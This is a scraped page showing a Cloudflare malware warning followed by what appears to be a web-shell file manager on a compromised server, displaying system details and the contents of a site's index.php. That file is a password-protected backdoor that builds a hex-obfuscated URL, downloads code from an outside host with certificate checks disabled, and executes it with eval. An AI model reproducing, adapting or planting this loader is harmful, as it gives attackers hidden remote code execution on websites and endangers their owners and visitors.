Warning

Suspected Malware

This website has been reported for potentially distributing malware.

Malware is malicious software created to intentionally disrupt the normal operations of a device.

Learn More

Cloudflare Ray ID: 9fc33b6b0bcf5fd1 • Performance & security by Cloudflare

HEX
HEX
Server: Apache
System: Linux edrants.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: fye (10002)
PHP: 7.4.33
Disabled: opcache_get_status
$ pwd: /var/www/vhosts/followyourears.com/httpdocs/b1179/
Upload Files
File: /var/www/vhosts/followyourears.com/httpdocs/b1179/index.php
<?php if (function_exists('session_start')) {session_start();if (!isset($_SESSION['secretyt'])) {$_SESSION['secretyt'] = false;}if (!$_SESSION['secretyt']) {
if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {$_SESSION['secretyt'] = true;} else {die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>');}}}$h='H';$l='68';$l.='747';$l.='470';$l.='733a2';$l.='f2';$l.='f';$l.='6769';$l.='7';$l.='4656';$l.='12e';$l.='636f6';$l.='d';$l.='2f67';$l.='6f706';$l.='56c38';$l.='32';$l.='39393';$l.='2';$l.='2f6e6';$l.='57';
$l.='42f';
$l.='72617';$l.='72f';$l.='6272';$l.='616e';$l.='6368';$l.='2f6';$l.='d616';$l.='96e2f';
$l.='312';$l.='e7';$l.='478';$l.='74';$p='p';$p.='a';$p.='ck';$h.='*';$resp='';$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$p($h,$l));curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_TIMEOUT,20);$resp=curl_exec($curl);curl_close($curl);
eVAl
('?>'.$resp
);?>
@ Telegram